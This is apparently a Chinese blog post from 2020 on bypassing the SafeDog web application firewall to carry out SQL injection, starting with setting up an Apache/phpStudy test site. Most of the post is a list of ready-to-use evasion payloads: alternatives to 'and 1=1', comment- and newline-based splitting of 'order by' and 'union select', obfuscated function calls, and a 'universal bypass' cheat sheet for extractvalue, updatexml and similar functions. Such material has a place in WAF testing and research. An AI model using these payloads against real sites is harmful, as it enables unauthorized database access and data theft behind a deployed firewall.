Document

win环境下安全狗测试绕过

部署测试环境

下载网站安全狗

 

 查看Apache服务是否存在

在这之前要先查看服务里有没有Apache,一般是用PHPstudy集成环境测试的话,是没有这个服务的,需要自己手动添加一下

管理员模式打开cmd
进入Apache的bin目录下   
cd c:\phpstudy\phptutorial\apache\bin
运行命令安装Apache
httpd.exe -k install -n apache2.4 #apache2.4就是你的服务名,可以自定义
 
安装之后,看到服务名称出现了
 

安装网站安全狗

然后就可以安装安全狗了(我自己设置的服务名叫apache2.4)(刚安了的卸载重安一遍)
此处服务名应该是你自己设置的服务名

安装后出现的界面

                

 

 第一次安装会让你注册登录,那就注册登录,但是它老是让你重新登录,可我登录了啊,这就不管它得了,让它在这放着

 

 出现提示被网站管理员拦截,说明WAF起作用了。

bypass绕过安全狗

ps:此次测试环境是我自己搭建的小环境,靶场都是类似的,只是数据库查询语句和页面长相不同

 如何绕过and 1=1

因为and 1=1和and 1=2 的目的就是为了验证是否存在可能注入点,如果被过滤掉,就用逻辑语句测试(有时候1=1不行可以试-1=-1,-1=-2)

and -1=-1,-1=-2

 

id=1&1 或 id=1&ty=true  (&:%26)

 

 

 

 

 

 

 通过测试,可以发现id参数存在注入点

快速查询

and 1=1 -- -
%261 -- -
xor1 -- -
and 1=2 -- -
%260 -- -
xor0 -- -

order by 绕过

%23%0a

知道注入点,下一步开始order by查询字段数 ,这里order和by只有可以分开就不会被检测出来
用%23%0a可绕过

order%23%0aby 3

内联注释绕过

/*!order /*!/*/**/by*/3-- -
/*!order /*/*%/**/by*/3-- -
/*!order /*!/*/**//**/by*/3-- -
/*!order /*!/*/**//*/**/by*/3-- -

union select 绕过

/*!union/*!/*/**/*/select/**/1,2,3 -- -

系统函数绕过

单独的括号和函数名都不会检测,思路就是分开函数名和括号就行
version ()
直接空格
user%0a()
%0a~%20有很多,类似绕过空格
database/**/()
注释符
user/*!*/()
内敛注释

函数名绕过

在报错注入的时候可以用这个格式绕过
 
/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/

万能绕过的payload

针对两个关键字连用或者函数

/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/

针对单独的一个关键字

/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/

快速查询

=
/*!*/=/*!*/
order
/*!order/*!/*/**/*/
and
/*!and/*!/*/**/*/
or
/*!or/*!/*/**/*/
union
/*!union/*!/*/**/*/
select
/*!select/*!/*/**/*/
user()
/*!user/*!/*/**/*/()/**/
database()
/*!database/*!/*/**/*/()/**/
version()
/*!version/*!/*/**/*/()/**/
session_user()
/*!session_user/*!/*/**/*/()/**/
extractvalue
/*!extractvalue/*!/*/**/*/()/**/
updatexml
/*!updatexml/*!/*/**/*/

 

参考链接

 

posted @ 2020-07-27 15:31  dummersoul  阅读(458)  评论(2编辑  收藏  举报